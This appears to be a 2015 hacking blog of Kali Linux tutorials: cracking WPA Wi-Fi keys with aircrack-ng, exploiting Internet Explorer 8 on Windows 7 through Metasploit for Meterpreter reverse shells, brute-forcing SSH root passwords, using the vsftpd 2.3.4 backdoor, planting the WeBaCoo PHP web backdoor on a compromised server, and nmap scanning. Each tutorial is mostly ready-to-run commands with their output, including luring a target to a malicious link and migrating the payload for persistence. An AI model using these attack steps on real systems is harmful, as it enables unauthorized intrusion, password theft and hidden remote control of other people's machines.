Monday, 22 June 2015

Hack WPA/WPA2 Wi-Fi with aircrack-ng in Kali Linux.


In this tutorial, we use 'aircrack-ng' in Kali Linux to crack a WPA wifi network. 

Perform the following steps on the Kali Linux machine.

1) Disconnect from all wireless networks.

2) Verify that your wireless card supports monitor mode.
root@kali:~# airmon-ng

Interface    Chipset        Driver

wlan0        Atheros AR9285    ath9k - [phy0]

If your wireless card is not listed above, then it does not support monitor mode and you cannot continue. 

3) Enable Monitor mode
root@kali:~# airmon-ng start wlan0
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID    Name
2550    NetworkManager
2658    wpa_supplicant


Interface    Chipset        Driver

wlan0        Atheros AR9285    ath9k - [phy0]
                (monitor mode enabled on mon0)

Note the name of the new monitor interface, mon0

4) Disable wireless card from connecting to the internet, allowing it to focus on monitor mode instead.
root@kali:~# ifconfig wlan0 down

5) List all the wireless networks in range.
root@kali:~# airodump-ng mon0
                                                                                                                                                     BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                   
 54:B8:0A:89:76:4E  -33       16       10    4   1  54e  WPA  TKIP   PSK SHABBIR                                                                  
 94:D7:23:0C:09:20  -77       20       51    0  11  54e  WPA  CCMP   PSK  MTNL                                                                     
 9C:D6:43:CC:04:B8  -80       11        0    0   2  54e. WPA2 CCMP   PSK  dlink                                                                    
 10:7B:EF:A6:26:80  -80        3        0    0  11  54e  WPA2 CCMP   PSK  TATA                                                                     

Locate your network. Press Ctrl+C to stop the process. And note down the BSSID and CH (channel).


6) Monitor only the target network and wait for a device to connect to the network and then capture the four-way handshake.
root@kali:~# airodump-ng -c 1 --bssid 54:B8:0A:89:76:4E -w Desktop/wpa mon0

Where,
-c 1 -> channel of network is 1 (as seen in the previous output)
--bssid 54:B8:0A:89:76:4E -> BSSID copied from the previous output (The MAC address of the Access Point).
-w Desktop/wpa -> file name where the handshake will be saved.
mon0 -> the monitor interface


7) What we are really doing now is waiting for a device to connect to the network, so that we can capture the four-way handshake which we need in order to crack the password. Also, four files will show up on your desktop. This is where the handshake will be saved.

When a device connects to the network, the following message appears on the airodump screen "WPA handshake:  54:B8:0A:89:76:4E" as shown below:                                     

 CH  1 ][ Elapsed: 32 s ][ 2015-06-22 09:56 ][ WPA handshake: 54:B8:0A:89:76:4E                                        
                                                                                                                                                    
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                    
 54:B8:0A:89:76:4E  -29   1      314        6    0   1  54e  WPA  TKIP   PSK  SHABBIR                                                               
                                                                                                                                                    
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                          
                                                                                                                                                    
 54:B8:0A:89:76:4E  0C:EE:E6:C0:37:43  -26    1e-54      0        9                                                       


The handshake has been captured. Press Ctrl+C on the airodump terminal to stop monitoring the network.

8) Launch the process of cracking the password. However, it will only crack it if the password happens to be in the wordlist  that you have selected.
root@kali:~# aircrack-ng -a2 -b 54:B8:0A:89:76:4E -w /usr/share/wordlists/fern-wifi/common.txt Desktop/*.cap

Opening Desktop/wpa-04.cap
Reading packets, please wait...

                                 Aircrack-ng 1.2 beta3


                   [00:00:00] 4 keys tested (254.57 k/s)


                         KEY FOUND! [ goodadmin ]


      Master Key     : 9A CD 12 5D 29 22 11 C7 6A 3D 75 0D 9D A7 76 C1
                       F1 2A 9B 9A 57 DD A9 EA 11 26 B0 EB 40 09 1E EB

      Transient Key  : 5A 15 F5 AD 5A F6 1F 00 78 F5 5F 0F 87 46 8C 81
                       DA 1F B4 8B 7C B2 C9 24 4B 63 6D EF 64 88 30 67
                       66 E4 5E 30 5E 4C C1 E1 F5 47 8A 7F AE F0 A6 FB
                       BF 7B 9E A6 AB ED B6 1B 43 15 43 D1 EF 6E C2 49

      EAPOL HMAC     : 79 56 57 C1 85 7D D8 A4 CD 89 B3 34 A5 36 D0 77


Where,
-a is the method used to crack the handshake. 2=WPA method
-b is the BSSID of the target access point
-w is the path to  the wordlist
Desktop/*.cap is the path to the .cap file captured in the handshake.


9) After completing the hack, disable mon0, and  enable wlan0 to be able to connect to the Internet.

root@kali:~# ifconfig mon0 down
root@kali:~# ifconfig wlan0 up





 

Sunday, 21 June 2015

Hack Windows 7 by using Kali Linux


In this tutorial, we will exploit "Internet Explorer CSS recursive call memory corrruption" vulnerability in Internet Explorer 8 in Windows 7 Service Pack 1 (unpatched) using Metasploit in Kali Linux and get a remote shell on the Windows 7 machine.

We have the  following configuration: Windows 7 IP Address: 192.168.122.10
Kali Linux IP Address: 192.168.122.115

Perform the following steps on the Kali Linux Machine

1) Start the services.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.


2) Start metasploit console.
root@kali:~# msfconsole
msf >

3) Select exploit.
msf > use exploit/windows/browser/ms11_003_ie_css_import

4) Select payload. 
msf exploit(ms11_003_ie_css_import) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp


5) View options.
msf exploit(ms11_003_ie_css_import) > show options

Module options (exploit/windows/browser/ms11_003_ie_css_import):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   OBFUSCATE  true             no        Enable JavaScript obfuscation
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.

   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic


6) Set options
msf exploit(ms11_003_ie_css_import) > set URIPATH /
URIPATH => /
msf exploit(ms11_003_ie_css_import) > set LHOST 192.168.122.115
LHOST => 192.168.122.115

7) Execute the exploit.
msf exploit(ms11_003_ie_css_import) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.122.115:4444
msf exploit(ms11_003_ie_css_import) > [*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://192.168.122.115:8080/
[*] Server started.


8) User clicks on the malicious URL. As we can see, a link has been generated as a result of the exploit command. This is the malicious link http://192.168.122.115:8080/ that we will have to send to our target, so that it can exploit their browser.

When the user clicks on the malicious link, the browser will try to load the page, but nothing will be displayed. But you will get a remote shell on your msfconsole, as shown below.

[*] 192.168.122.10   ms11_003_ie_css_import - Received request for "/"
[*] 192.168.122.10   ms11_003_ie_css_import - Sending redirect
[*] 192.168.122.10   ms11_003_ie_css_import - Received request for "/iPKMV.html"
[*] 192.168.122.10   ms11_003_ie_css_import - Sending HTML
[*] 192.168.122.10   ms11_003_ie_css_import - Received request for "/generic-1434889455.dll"
[*] 192.168.122.10   ms11_003_ie_css_import - Sending .NET DLL
[*] 192.168.122.10   ms11_003_ie_css_import - Received request for "/favicon.ico"
[*] 192.168.122.10   ms11_003_ie_css_import - Sending CSS
[*] 192.168.122.10   ms11_003_ie_css_import - Received request for "/\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A"
[*] 192.168.122.10   ms11_003_ie_css_import - Sending CSS
[*] Sending stage (770048 bytes) to 192.168.122.10
[*] Session ID 1 (192.168.122.115:4444 -> 192.168.122.10:49219) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2744)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3376
[*] 192.168.122.10   ms11_003_ie_css_import - Received request for "/generic-1434889455.dll"
[*] 192.168.122.10   ms11_003_ie_css_import - Sending .NET DLL
[*] Sending stage (770048 bytes) to 192.168.122.10
[*] 192.168.122.10   ms11_003_ie_css_import - Received request for "/favicon.ico"
[*] 192.168.122.10   ms11_003_ie_css_import - Sending CSS
[+] Successfully migrated to process
[*] Session ID 2 (192.168.122.115:4444 -> 192.168.122.10:49221) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3404)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3532
[*] 192.168.122.10   ms11_003_ie_css_import - Received request for "/generic-1434889455.dll"
[*] 192.168.122.10   ms11_003_ie_css_import - Sending .NET DLL
[*] Sending stage (770048 bytes) to 192.168.122.10
[+] Successfully migrated to process
[*] Session ID 3 (192.168.122.115:4444 -> 192.168.122.10:49224) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3664)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3808
[*] 192.168.122.10   ms11_003_ie_css_import - Received request for "/generic-1434889455.dll"
[*] 192.168.122.10   ms11_003_ie_css_import - Sending .NET DLL
[*] Sending stage (770048 bytes) to 192.168.122.10
[+] Successfully migrated to process
[*] Session ID 4 (192.168.122.115:4444 -> 192.168.122.10:49226) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3848)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3984
[+] Successfully migrated to process

As we can see above, the InitialAutoRunScript executes a migrate -f command which migrates the payload from iexplorer.exe to notepad.exe. This step is essential for a persistent connectivity. Even if the user closes the browser, still the conection will be alive as we have migrated to another process.

9) View the sessions.
msf exploit(ms11_003_ie_css_import) > sessions -i

Active sessions
===============

  Id  Type                   Information                  Connection
  --  ----                   -----------                  ----------
  1   meterpreter x86/win32  shabbir-PC\ali @ SHABBIR-PC  192.168.122.115:4444 -> 192.168.122.10:49219 (192.168.122.10)
  2   meterpreter x86/win32  shabbir-PC\ali @ SHABBIR-PC  192.168.122.115:4444 -> 192.168.122.10:49221 (192.168.122.10)
  3   meterpreter x86/win32  shabbir-PC\ali @ SHABBIR-PC  192.168.122.115:4444 -> 192.168.122.10:49224 (192.168.122.10)
  4   meterpreter x86/win32  shabbir-PC\ali @ SHABBIR-PC  192.168.122.115:4444 -> 192.168.122.10:49226 (192.168.122.10)


10) Connect to the remote machine.
msf exploit(ms11_003_ie_css_import) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : SHABBIR-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

meterpreter > getuid
Server username: shabbir-PC\ali

meterpreter > shell
Process 2704 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\ali\Desktop>

Saturday, 20 June 2015

Hack Internet Explorer 8 in Windows 7 using Kali Linux


In this tutorial, we will hack Internet Explorer 8 in Windows 7 Service Pack 1 (unpatched) using Metasploit in Kali Linux and get a remote shell on the Windows 7 machine.

This exploit works when the Initialize and script ActiveX controls not marked as safe setting is enabled in Internet Explorer.

To enable the above setting, start Internet Explorer and click on Tools -> Internet Options -> Security -> Custom Level -> Initialize and script ActiveX controls not marked as safe -> Enable.

We have the  following configuration:
Windows 7 IP Address: 192.168.122.10
Kali Linux IP Address: 192.168.122.115

Perform the following steps on the Kali Linux Machine

1) Start the services.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.


2) Start metasploit console.
root@kali:~# msfconsole
msf >

3) Select exploit.
msf > use exploit/windows/browser/ie_unsafe_scripting

4) Select payload. 
msf exploit(ie_unsafe_scripting) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

5) View options.
msf exploit(ie_unsafe_scripting) > show options

Module options (exploit/windows/browser/ie_unsafe_scripting):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TECHNIQUE  VBS              yes       Delivery technique (VBS Exe Drop or PSH CMD) (accepted: VBS, Powershell)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86/x64

6) Set options
msf exploit(ie_unsafe_scripting) > set LHOST 192.168.122.115
LHOST => 192.168.122.115

7) Execute the exploit.
msf exploit(ie_unsafe_scripting) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.122.115:4444
msf exploit(ie_unsafe_scripting) > [*] Using URL: http://0.0.0.0:8080/bHN7e4
[*]  Local IP: http://192.168.122.115:8080/bHN7e4
[*] Server started.


8) User clicks on the malicious URL. As we can see, a link has been generated as a result of the exploit command. This is the malicious link (http://192.168.122.115:8080/bHN7e4) that we will have to send to our target, so that it can exploit their browser.

When the user clicks on the malicious link, the browser will try to load the page, but nothing will be displayed. But you will get a remote shell on your msfconsole, as shown below.

msf exploit(ie_unsafe_scripting) > [*] 192.168.122.10   ie_unsafe_scripting - Request received for /bHN7e4
[*] 192.168.122.10   ie_unsafe_scripting - Sending exploit html/javascript
[*] Sending stage (770048 bytes) to 192.168.122.10
[*] Meterpreter session 1 opened (192.168.122.115:4444 -> 192.168.122.10:49166) at 2015-06-20 17:13:43 +0530

msf exploit(ie_unsafe_scripting) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\shabbir\Desktop>


Wednesday, 17 June 2015

Hack SSH Server in RHEL 7 Using Metasploit in Kali Linux


In this tutorial, we will hack the password for 'root' user on SSH Server running in RHEL 7 using Metasploit running in Kali Linux.

SSH Server Name: meru.mycompany.com
SSH Server IP Address: 192.168.122.1

Perform the following steps on the Kali Linux Machine

1) Start the services.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.


2) Start metasploit console.
root@kali:~# msfconsole
msf >


3) Check database status 
msf > db_status
[*] postgresql connected to msf3


4) Perform nmap scan through a database extension in Metasploit. This scan will automatically add all the details that are found to various sections of Metasploit.
msf > db_nmap -sS 192.168.122.1 -p 22
[*] Nmap: Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-17 14:01 IST
[*] Nmap: Nmap scan report for meru.mycompany.com (192.168.122.1)
[*] Nmap: Host is up (0.0024s latency).
[*] Nmap: PORT   STATE SERVICE
[*] Nmap: 22/tcp open  ssh
[*] Nmap: MAC Address: 52:54:00:8A:8D:BA (QEMU Virtual NIC)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

5) Search for module.
msf > search ssh
auxiliary/scanner/ssh/ssh_login                                              normal     SSH Login Check Scanner

6) Select the module.
msf > use auxiliary/scanner/ssh/ssh_login

7) View options.
msf auxiliary(ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

8) Set options.
msf auxiliary(ssh_login) > set RHOSTS 192.168.122.1
RHOSTS => 192.168.122.1

msf auxiliary(ssh_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
PASS_FILE => /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root

9) Execute the module
msf auxiliary(ssh_login) > run

[*] 192.168.122.1:22 SSH - Starting bruteforce
[-] 192.168.122.1:22 SSH - Failed: 'root:123456'
[-] 192.168.122.1:22 SSH - Failed: 'root:12345'
[-] 192.168.122.1:22 SSH - Failed: 'root:123456789'
[-] 192.168.122.1:22 SSH - Failed: 'root:password'
[-] 192.168.122.1:22 SSH - Failed: 'root:iloveyou'
[+] 192.168.122.1:22 SSH - Success: 'root:adminpasswd' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux meru.mycompany.com 3.10.0-123.el7.x86_64 #1 SMP Mon Jun 30 12:09:22 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(ssh_login) > id
[*] exec: id
uid=0(root) gid=0(root) groups=0(root)

msf auxiliary(ssh_login) > cat /etc/shadow



As seen above, we have got a root shell on the victim machine.



Metasploit: Using database to store results


It is always a better approach to store the results of penetration testing in a database. This helps us build a knowledge base about the hosts scanned , services running on the hosts, and vulnerabilities found on the hosts. Metasploit uses postgresql as the default database.


1) Start the services.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali:~# service metasploit start
Configuring Metasploit...
Creating metasploit database user 'msf3'...
Creating metasploit database 'msf3'...
insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.


2) Start metasploit console.
root@kali:~# msfconsole
msf >


3) Check database status 
msf > db_status
[*] postgresql connected to msf3


4) Perform nmap scan through a database extension in Metasploit. This scan will automatically add all the details that are found to various sections of Metasploit.
msf > db_nmap -sV 192.168.122.73
[*] Nmap: Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-17 11:12 IST
[*] Nmap: Nmap scan report for 192.168.122.73
[*] Nmap: Host is up (0.00030s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT     STATE SERVICE     VERSION
[*] Nmap: 21/tcp   open  ftp         vsftpd 2.3.4
[*] Nmap: 22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: 23/tcp   open  telnet      Linux telnetd
[*] Nmap: 25/tcp   open  smtp        Postfix smtpd
[*] Nmap: 53/tcp   open  domain      ISC BIND 9.4.2
[*] Nmap: 80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: 111/tcp  open  rpcbind     2 (RPC #100000)
[*] Nmap: 139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp  open  exec?
[*] Nmap: 513/tcp  open  login
[*] Nmap: 514/tcp  open  tcpwrapped
[*] Nmap: 1099/tcp open  rmiregistry GNU Classpath grmiregistry
[*] Nmap: 1524/tcp open  shell       Metasploitable root shell
[*] Nmap: 2049/tcp open  nfs         2-4 (RPC #100003)
[*] Nmap: 2121/tcp open  ftp         ProFTPD 1.3.1
[*] Nmap: 3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
[*] Nmap: 5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp open  vnc         VNC (protocol 3.3)
[*] Nmap: 6000/tcp open  X11         (access denied)
[*] Nmap: 6667/tcp open  irc         Unreal ircd
[*] Nmap: 8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
[*] Nmap: 8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: MAC Address: 00:0C:29:FA:DD:2A (VMware)
[*] Nmap: Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 66.26 seconds
msf >

msf > db_nmap -O 192.168.122.73


4) Verify the hosts present in the database.
msf > hosts

Hosts
=====

address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
192.168.122.73  00:0c:29:fa:dd:2a        Linux               2.6.X  server      


5) View the services available on the hosts.
msf > services

Services
========

host            port  proto  name          state  info
----            ----  -----  ----          -----  ----
192.168.122.73  21    tcp    ftp           open   vsftpd 2.3.4
192.168.122.73  22    tcp    ssh           open   OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
192.168.122.73  23    tcp    telnet        open   Linux telnetd
192.168.122.73  25    tcp    smtp          open   Postfix smtpd
192.168.122.73  53    tcp    domain        open   ISC BIND 9.4.2
192.168.122.73  80    tcp    http          open   Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.122.73  111   tcp    rpcbind       open   2 RPC #100000
192.168.122.73  139   tcp    netbios-ssn   open   Samba smbd 3.X workgroup: WORKGROUP
192.168.122.73  445   tcp    microsoft-ds  open   Samba smbd 3.X workgroup: WORKGROUP
192.168.122.73  512   tcp    exec          open  
192.168.122.73  513   tcp    login         open  
192.168.122.73  514   tcp    shell         open  
192.168.122.73  1099  tcp    rmiregistry   open   GNU Classpath grmiregistry
192.168.122.73  1524  tcp    ingreslock    open   Metasploitable root shell
192.168.122.73  2049  tcp    nfs           open   2-4 RPC #100003
192.168.122.73  2121  tcp    ccproxy-ftp   open   ProFTPD 1.3.1
192.168.122.73  3306  tcp    mysql         open   MySQL 5.0.51a-3ubuntu5
192.168.122.73  5432  tcp    postgresql    open   PostgreSQL DB 8.3.0 - 8.3.7
192.168.122.73  5900  tcp    vnc           open   VNC protocol 3.3
192.168.122.73  6000  tcp    x11           open   access denied
192.168.122.73  6667  tcp    irc           open   Unreal ircd
192.168.122.73  8009  tcp    ajp13         open   Apache Jserv Protocol v1.3
192.168.122.73  8180  tcp    unknown       open   Apache Tomcat/Coyote JSP engine 1.1

msf >

6) Find and exploit 'vsftpd' vulnerability
msf > search vsftpd
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.122.73
msf exploit(vsftpd_234_backdoor) > exploit


7) View vulnerabilities in database
msf > vulns
[*] Time: 2015-06-17 06:42:50 UTC Vuln: host=192.168.122.73 name=VSFTPD v2.3.4 Backdoor Command Execution refs=OSVDB-73573,URL-http://pastebin.com/AetT9sS5,URL-http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html



8) Generate XML report.
msf > db_export -f xml /root/report.xml
[*] Starting export of workspace default to /root/report.xml [ xml ]...
[*]     >> Starting export of report
[*]     >> Starting export of hosts
[*]     >> Starting export of events
[*]     >> Starting export of services
[*]     >> Starting export of web sites
[*]     >> Starting export of web pages
[*]     >> Starting export of web forms
[*]     >> Starting export of web vulns
[*]     >> Starting export of module details
[*]     >> Finished export of report
[*] Finished export of workspace default to /root/report.xml [ xml ]...




Monday, 15 June 2015

Web backdoor 'webacoo' in Kali Linux


A backdoor is any type of program that will allow a hacker to connect to a computer without going through the normal authentication process. If a hacker can get a backdoor program loaded on a computer, the hacker can then come and go at will. Backdoors generally use a covert communication channel to hide its communication from firewall and IDS.

WeBaCoo (Web Backdoor Cookie) is a web backdoor script-kit, which provides the hacker with a remote terminal on the web server and communicates  over HTTP. WeBaCoo uses HTTP cookies as a covert communication channel. The commands to be executed on the victim server and the response are sent using encrypted cookies in HTTP request and HTTP response headers.

WeBaCoo is a post exploitation tool. The hacker has to first gain access to the victim web server in order to upload the backdoor code.


On the Kali Linux machine,perform the following steps:

1) Generate  backdoor code
root@kali:~# webacoo -g -o backdoor.php

WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }

[+] Backdoor file "backdoor.php" created.



2) Copy the file 'backdoor.php' to the compromised web server.


3) Connect to the compromised web server.
root@kali:~# webacoo -t -u http://meru.mycompany.com/backdoor.php

    WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
    Copyright (C) 2011-2012 Anestis Bechtsoudis
    { @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }

[+] Connecting to remote server as...
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

[*] Type 'load' to use an extension module.
[*] Type ':<cmd>' to run local OS commands.
[*] Type 'exit' to quit terminal.

webacoo$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0



On the Kali Linux machine, we capture the communication with the victim web server in 'Wireshark'. To configure Wireshark, select the Network Interface , and start capture. Set filter to http.

The below screen shot shows the HTTP request to the victim web server. We can see that the command to be executed on the victim is sent using an encrypted cookie. 






The below screen shot shows the HTTP response from the victim web server.
The output of the command executed on the victim is sent using an encrypted cookie.





Sunday, 14 June 2015

Network Scanning using nmap


1) Identify live hosts (ping scan). If the target(s) are on the same subnet, this command will send an ARP request to the LAN broadcast address and will determine whether the host is alive, based on the response that is received. If the target(s) are not on the same subnet, then ICMP echo requests will be used to determine if the hosts are alive.
root@kali:~# nmap -sn  192.168.122.1-255
Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:53 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.00031s latency).
MAC Address: 52:54:00:8A:8D:BA (QEMU Virtual NIC)
Nmap scan report for 192.168.122.73
Host is up (0.00066s latency).
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Nmap scan report for 192.168.122.115
Host is up.
Nmap done: 255 IP addresses (3 hosts up) scanned in 2.53 seconds



2) UDP Port Scan.
root@kali:~# nmap -sU 192.168.122.73

PORT     STATE         SERVICE
53/udp   open          domain
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
111/udp  open          rpcbind
137/udp  open          netbios-ns
138/udp  open|filtered netbios-dgm
2049/udp open          nfs
MAC Address: 00:0C:29:FA:DD:2A (VMware)


3) TCP Connect Scan. Establishes a full TCP connection. If a connection is established, the port is determined to be open.
root@kali:~# nmap -sT 192.168.122.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:33 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.79s latency).
Not shown: 981 filtered ports
PORT     STATE  SERVICE
21/tcp   open   ftp
22/tcp   open   ssh
25/tcp   open   smtp
53/tcp   open   domain
80/tcp   open   http


3) TCP Stealth Scan.(SYN Scan) A single SYN packet is sent to the destination port. If SYN+ACK is received, the port is assumed to be open. Logging solutions which only record established connections will not record any evidence of the scan.
root@kali:~# nmap -sS 192.168.122.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:35 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.00038s latency).
Not shown: 981 filtered ports
PORT     STATE  SERVICE
21/tcp   open   ftp
22/tcp   open   ssh
25/tcp   open   smtp
53/tcp   open   domain
80/tcp   open   http
88/tcp   closed kerberos-sec



4) Banner Grabbing (with Nmap NSE)
root@kali:~# nmap -sT 192.168.122.1 -p 22 --script=banner
Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:40 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.00032s latency).
PORT   STATE SERVICE
22/tcp open  ssh
|_banner: SSH-2.0-OpenSSH_6.4
MAC Address: 52:54:00:8A:8D:BA (QEMU Virtual NIC)

root@kali:~# nmap -sT 192.168.122.73 -p 21 --script=banner

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:42 IST
Nmap scan report for 192.168.122.73
Host is up (0.00061s latency).
PORT   STATE SERVICE
21/tcp open  ftp
|_banner: 220 (vsFTPd 2.3.4)


5) Service Identification (using probe-response analysis)
root@kali:~# nmap -sV -p 80 192.168.122.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:44 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.00059s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.1e-fips PHP/5.4.16)


6) O.S. identification.
root@kali:~# nmap -O  192.168.122.1
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop


